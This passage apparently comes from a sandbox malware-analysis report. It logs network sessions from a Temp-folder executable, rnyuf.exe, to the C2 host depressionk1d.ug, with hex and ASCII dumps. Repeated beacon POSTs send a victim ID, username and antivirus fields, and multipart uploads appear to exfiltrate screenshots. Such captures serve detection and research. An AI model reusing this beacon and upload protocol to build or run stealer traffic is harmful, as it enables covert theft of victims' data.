20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:23.130636930 CET	15710	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.4	50160	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:23.263624907 CET	15711	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:23.291662931 CET	15711	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.4	50161	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:23.420593023 CET	15712	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:23.447393894 CET	15712	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.4	50162	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:23.596543074 CET	15713	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:23.628241062 CET	15713	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.4	50163	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:23.768141985 CET	15714	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:24.800326109 CET	15824	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.4	50164	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:23.907134056 CET	15714	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:23.907504082 CET	15715	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:23.907520056 CET	15725	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:23.907634974 CET	15727	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:23.929831982 CET	15730	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:23.929891109 CET	15738	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:23.929908037 CET	15744	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:23.930027008 CET	15748	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:23.930042982 CET	15750	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:24:23.930058002 CET	15753	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:23.952332020 CET	15756	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:24.384676933 CET	15823	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:24 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.4	50165	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:24.966933966 CET	15825	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:24.992595911 CET	15825	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.4	50166	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:28.201198101 CET	15826	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:28.226656914 CET	15839	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49818	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:30.298165083 CET	4005	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:30.324439049 CET	4006	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.4	50167	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:28.217946053 CET	15826	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:28.218050957 CET	15826	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:28.218266010 CET	15836	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:28.218400955 CET	15839	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:28.240617037 CET	15842	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:28.240658045 CET	15850	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:28.240679026 CET	15853	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:28.240724087 CET	15858	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:28.240854979 CET	15863	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:28.240866899 CET	15865	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:28.263094902 CET	15868	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:28.310971022 CET	15936	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:28 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:24:28.333106995 CET	15936	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:28.359719992 CET	15937	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.4	50168	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:28.498806953 CET	15938	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:28.524260044 CET	15938	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.4	50169	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:28.655658960 CET	15939	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
